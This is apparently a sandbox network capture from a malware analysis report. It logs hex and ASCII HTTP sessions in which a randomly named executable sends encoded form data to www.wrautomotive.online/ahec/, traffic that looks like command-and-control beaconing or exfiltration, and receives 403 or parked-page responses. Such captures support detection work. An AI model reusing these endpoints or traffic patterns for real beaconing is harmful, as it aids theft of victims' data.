Dec 8, 2023 14:53:26.606403112 CET	1286	IN	Data Raw: 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 73 63 Data Ascii: " content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globaler
Dec 8, 2023 14:53:26.606487036 CET	1286	IN	Data Raw: 7d 2c 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 72 3d 6e 5b 65 5d 2e 73 70 6c 69 74 28 22 3d 22 29 3b 6f 5b 72 5b 30 5d 5d 3d 72 5b 31 5d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: },e=0;e<n.length;e++){var r=n[e].split("=");o[r[0]]=r[1]}return function(){return o}}();function e(){var n=window.navigator.userAgent.toLowerCase();return n.indexOf("ucbrowser")>=0\|\|n.indexOf("ucmobile")>=0}function r(){return window.navigator
Dec 8, 2023 14:53:26.606501102 CET	1286	IN	Data Raw: 69 29 7c 7c 6e 2e 6d 61 74 63 68 28 2f 69 70 68 6f 6e 65 2f 69 29 3f 22 69 70 68 6f 6e 65 22 3a 6e 2e 6d 61 74 63 68 28 2f 61 6e 64 72 6f 69 64 2f 69 29 7c 7c 6e 2e 6d 61 74 63 68 28 2f 61 70 61 64 2f 69 29 3f 22 61 6e 64 72 6f 69 64 22 3a 77 69 Data Ascii: i)\|\|n.match(/iphone/i)?"iphone":n.match(/android/i)\|\|n.match(/apad/i)?"android":window.ucbrowser?"iphone":"unknown"}()&&navigator.sendBeacon?send(s+="&is_beacon=1"):send(s)}reportLoading(),console.log("UA
Dec 8, 2023 14:53:26.606513977 CET	1271	IN	Data Raw: 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 61 67 65 6e 63 79 2f 6a 73 2f 76 63 6f 6e 73 6c 65 2e 6a 73 22 29 2c 24 68 65 61 64 2e 69 6e 73 65 Data Ascii: Attribute("src","//image.uc.cn/s/uae/g/01/welfareagency/js/vconsle.js"),$head.insertBefore(e,$head.lastChild)};break}}</script><title></title><script>var fontSize=window.innerWidth/.75;document.querySelector("html").style.fontSize=fontSize+"px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49789	37.97.254.27	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:32.316797972 CET	759	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.wrautomotive.online Origin: http://www.wrautomotive.online Referer: http://www.wrautomotive.online/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 30 67 49 6a 4b 6e 4b 32 42 4a 74 65 76 48 4b 5a 43 67 74 53 31 73 4d 79 79 56 56 48 30 76 79 36 36 4c 48 74 38 57 2f 56 34 57 4c 6c 46 2f 61 51 66 47 32 6e 4b 42 58 46 39 45 73 39 45 56 59 2b 43 64 45 6f 54 4b 67 63 53 32 48 46 33 4b 32 76 73 4e 50 78 36 59 4c 73 46 6e 73 6b 69 4d 4a 73 5a 68 74 5a 4f 64 44 44 35 6d 79 4e 4b 38 4b 72 6d 39 53 49 55 52 73 76 5a 4f 6c 74 4f 6b 7a 77 6b 47 4c 38 55 42 6f 56 51 79 7a 34 48 57 63 7a 51 4d 6c 61 52 4b 69 52 79 6e 7a 77 2f 72 48 32 38 4b 41 6b 66 77 46 4e 6e 2f 6c 78 46 30 42 59 50 51 3d 3d Data Ascii: XveXHZvx=0gIjKnK2BJtevHKZCgtS1sMyyVVH0vy66LHt8W/V4WLlF/aQfG2nKBXF9Es9EVY+CdEoTKgcS2HF3K2vsNPx6YLsFnskiMJsZhtZOdDD5myNK8Krm9SIURsvZOltOkzwkGL8UBoVQyz4HWczQMlaRKiRynzw/rH28KAkfwFNn/lxF0BYPQ==
Dec 8, 2023 14:53:32.552953959 CET	188	IN	HTTP/1.0 403 Forbidden Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49790	37.97.254.27	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:35.076858044 CET	779	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.wrautomotive.online Origin: http://www.wrautomotive.online Referer: http://www.wrautomotive.online/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 30 67 49 6a 4b 6e 4b 32 42 4a 74 65 39 55 53 5a 41 42 74 53 30 4d 4d 78 72 6c 56 48 39 50 79 2b 36 4c 44 74 38 54 66 46 34 6c 76 6c 45 61 2b 51 59 33 32 6e 4c 42 58 46 79 6b 74 33 4b 31 5a 54 43 64 4a 56 54 4c 4d 63 53 32 6a 46 33 4c 71 76 73 2b 33 77 37 49 4c 69 49 48 73 6d 6d 4d 4a 73 5a 68 74 5a 4f 64 48 70 35 6d 71 4e 4b 4d 61 72 6e 5a 47 4c 56 52 73 75 65 4f 6c 74 4b 6b 7a 30 6b 47 4c 53 55 41 6c 79 51 78 62 34 48 55 45 7a 51 39 6c 62 62 4b 69 74 39 48 79 2b 2f 70 69 49 33 36 70 2b 55 77 74 68 36 72 51 43 4e 42 74 4c 49 75 62 50 66 49 4d 35 6c 4d 42 53 7a 62 4e 49 32 45 30 4b 71 57 6f 3d Data Ascii: XveXHZvx=0gIjKnK2BJte9USZABtS0MMxrlVH9Py+6LDt8TfF4lvlEa+QY32nLBXFykt3K1ZTCdJVTLMcS2jF3Lqvs+3w7ILiIHsmmMJsZhtZOdHp5mqNKMarnZGLVRsueOltKkz0kGLSUAlyQxb4HUEzQ9lbbKit9Hy+/piI36p+Uwth6rQCNBtLIubPfIM5lMBSzbNI2E0KqWo=
Dec 8, 2023 14:53:35.313324928 CET	188	IN	HTTP/1.0 403 Forbidden Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49791	37.97.254.27	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:37.848824024 CET	10861	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.wrautomotive.online Origin: http://www.wrautomotive.online Referer: http://www.wrautomotive.online/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 30 67 49 6a 4b 6e 4b 32 42 4a 74 65 39 55 53 5a 41 42 74 53 30 4d 4d 78 72 6c 56 48 39 50 79 2b 36 4c 44 74 38 54 66 46 34 6c 6e 6c 46 70 47 51 62 51 43 6e 4e 78 58 46 73 30 74 30 4b 31 5a 72 43 64 41 65 54 4c 77 69 53 30 72 46 31 70 4f 76 37 66 33 77 79 49 4c 69 42 6e 73 37 69 4d 4a 35 5a 68 39 64 4f 64 58 70 35 6d 71 4e 4b 4f 53 72 33 39 53 4c 59 78 73 76 5a 4f 6c 68 4f 6b 7a 4d 6b 48 6a 6b 55 41 77 46 51 41 37 34 48 30 55 7a 53 76 4e 62 54 4b 69 72 70 6e 7a 6a 2f 70 65 74 33 36 46 36 55 78 70 62 36 70 4d 43 4e 6e 31 51 62 39 48 45 44 4c 67 36 2b 2f 46 59 70 36 6b 48 71 32 30 32 31 77 47 79 68 52 57 57 74 56 70 74 46 61 44 70 53 42 67 51 48 78 4f 77 58 54 73 52 59 31 53 59 6d 67 6b 77 54 63 58 4d 70 55 31 72 53 66 71 75 45 36 53 78 6b 6f 61 71 66 65 48 2b 41 50 4b 77 71 74 59 79 78 58 78 72 6d 6f 41 6f 6a 34 6a 73 36 73 33 35 69 79 76 2f 78 48 65 51 30 65 55 55 49 69 71 58 64 58 6c 69 6a 64 62 77 4f 64 61 6b 75 78 44 5a 54 35 4b 65 74 41 79 74 2b 37 31 31 73 75 59 70 61 62 76 79 62 46 59 77 76 70 56 79 76 49 5a 33 53 68 41 33 42 6e 63 5a 7a 68 68 67 50 2f 45 59 44 6e 4f 33 52 71 2b 4e 44 6b 66 34 58 45 62 45 43 47 4d 77 75 58 4b 75 74 4d 74 59 65 58 75 6a 73 69 41 51 6a 71 7a 6b 78 34 69 49 50 49 52 78 64 64 76 61 42 50 6d 4a 7a 71 44 69 44 79 57 39 45 64 5a 46 74 46 73 68 62 42 49 61 54 33 75 50 78 50 41 50 32 34 38 6a 6c 32 50 73 67 63 74 44 42 63 4e 63 78 6b 75 73 76 66 74 50 32 7a 79 41 6d 2b 2b 4f 39 2b 70 34 49 42 37 31 4e 50 69 36 6e 52 54 66 77 4b 37 6d 52 52 6a 59 58 7a 41 73 32 66 54 6c 4c 59 65 69 6c 5a 44 72 69 33 70 37 32 70 39 67 4d 6f 33 67 46 63 35 4e 39 32 4f 48 48 63 6e 37 64 41 43 77 2b 58 56 4a 42 67 4e 56 55 37 46 4b 39 32 56 47 51 36 4c 79 73 55 4d 2b 70 4d 77 73 6e 72 61 4b 39 2b 6f 6e 67 41 66 74 61 48 56 47 72 74 53 2f 74 65 47 79 32 6a 31 44 7a 45 33 55 4e 54 70 32 6e 66 4f 53 64 65 78 42 4e 61 2b 74 7a 4e 36 4a 62 33 73 32 79 35 55 59 70 73 69 2f 31 4d 34 4f 6b 53 4b 58 4d 4f 50 45 6a 39 58 67 6c 45 6d 74 4e 75 50 6b 42 70 5a 74 76 65 48 39 68 54 67 76 35 47 57 62 4b 63 32 43 31 73 54 45 4b 76 6e 6f 75 68 71 6d 33 4e 6d 65 65 78 4b 49 55 7a 49 78 56 4a 39 4e 76 45 4a 73 41 35 36 75 4a 77 71 37 6c 67 32 6b 50 6b 78 64 73 62 44 70 6d 4e 67 45 61 50 35 64 4f 46 67 4a 41 4b 7a 74 2f 4c 66 55 50 75 36 46 42 33 77 39 56 6d 45 74 4a 53 65 79 52 71 44 59 4c 65 4a 7a 55 78 6a 79 43 50 46 64 4f 79 70 2b 31 6b 68 4e 36 68 71 38 38 70 2f 7a 59 46 43 77 73 35 73 4d 74 6c 71 34 58 33 53 76 74 62 58 6a 78 68 4f 70 2f 43 79 4e 71 51 44 38 30 68 2b 6d 31 71 4e 4f 4e 77 66 53 68 42 43 2b 69 34 36 38 54 77 2f 53 48 58 42 68 64 4e 4a 58 35 46 6e 52 75 2f 6a 2f 6c 6b 7a 4b 75 33 6a 45 54 6f 37 51 65 74 77 33 4f 63 4c 59 76 36 5a 53 4c 51 4a 4f 30 54 4e 79 68 54 4a 36 43 5a 53 50 62 5a 64 70 33 5a 2b 66 2f 68 4f 4f 79 67 6b 4b 79 31 4e 4c 47 79 6b 32 32 37 34 6a 71 5a 66 4b 42 49 34 4f 45 72 64 47 56 78 65 53 7a 31 59 48 32 58 5a 56 32 63 46 32 72 7a 62 58 59 54 2b 75 65 52 6e 52 55 71 33 56 65 56 79 79 30 73 53 36 4f 42 69 51 32 51 52 2f 66 34 47 5a 61 6d 7a 6b 51 31 57 6d 5a 43 71 67 59 4d 6a 2b 59 58 49 76 48 6e 38 4b 4c 53 6e 53 66 71 71 55 74 69 6a 53 49 46 4e 38 73 6b 66 34 66 35 49 72 72 44 5a 53 78 49 4e 4d 67 59 4c 71 73 46 53 34 49 42 68 78 6c 37 51 45 4b 38 71 67 51 79 39 41 66 62 46 61 71 6b 65 4c 65 66 37 56 51 73 34 4b 72 75 4e 46 7a 39 66 35 68 45 36 71 37 6e 51 45 56 52 2f 6f 70 2f 4e 46 71 2f 71 52 71 4b 38 70 69 32 42 78 74 45 46 33 78 57 5a 77 75 65 5a 36 51 63 58 54 55 2b 75 6a 6e 35 66 73 4d 4d 53 47 41 70 57 44 43 71 63 70 61 62 4a 2f 6f 38 76 43 6f 78 52 61 7a 31 44 64 38 51 61 54 41 6e 75 41 2b 57 43 6d 6c 76 68 42 58 71 65 6e 43 79 62 71 43 35 61 4d 58 75 67 73 31 4a 31 67 5a 5a 56 75 74 47 51 4c 79 50 77 54 46 4f 57 75 73 6c 35 45 64 73 56 5a 73 78 72 4e 33 7a 4f 57 4c 78 39 76 42 54 36 39 44 79 67 79 56 73 55 67 36 4c 74 2f 4a 50 67 43 68 38 7a 54 39 56 52 75 69 62 78 4b 6a 59 54 47 6b 51 67 6b 47 64 66 79 35 58 62 4e 41 74 64 71 70 43 54 45 4e 61 4c 51 74 4f 78 4a 75 31 46 52 51 38 56 4b 6e 42 71 44 59 7a 47 74 6b 56 49 62 46 41 5a 70 43 33 72 77 6b 52 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:53:38.088500977 CET	188	IN	HTTP/1.0 403 Forbidden Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49792	37.97.254.27	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:40.611998081 CET	476	OUT	GET /ahec/?XveXHZvx=5igDJT3zPYxoznSfOhoK1Ng2m3hD5JqRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+25ITAAVo7msZgdw==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.wrautomotive.online Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:53:40.852206945 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 19 Sep 2023 17:56:11 GMT Server: Apache Last-Modified: Thu, 04 Nov 2021 09:16:05 GMT Vary: Accept-Encoding Content-Type: text/html Cache-Control: max-age=31536000 X-Varnish: 673959887 3 Age: 6897449 Via: 1.1 varnish (Varnish/6.1) Accept-Ranges: bytes Content-Length: 64668 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 61 73 63 69 69 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 72 61 6e 73 49 50 20 2d 20 52 65 73 65 72 76 65 64 20 64 6f 6d 61 69 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 72 61 6e 73 49 50 20 2d 20 52 65 73 65 72 76 65 64 20 64 6f 6d 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 72 65 73 65 72 76 65 64 2e 74 72 61 6e 73 69 70 2e 6e 6c 2f 61 73 73 65 74 73 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 53 6f 75 72 63 65 2b 53 61 6e 73 2b 50 72 6f 3a 34 30 30 2c 39 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 72 65 73 65 72 76 65 64 2e 74 72 61 6e 73 69 70 2e 6e 6c 2f 61 73 73 65 74 73 2f 63 73 73 2f 63 6f 6d 62 69 6e 65 64 2d 6d 69 6e 2e 63 73 73 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 42 65 7a 65 74 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 36 20 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 6c 65 66 74 20 72 65 73 65 72 76 65 64 2d 6e 61 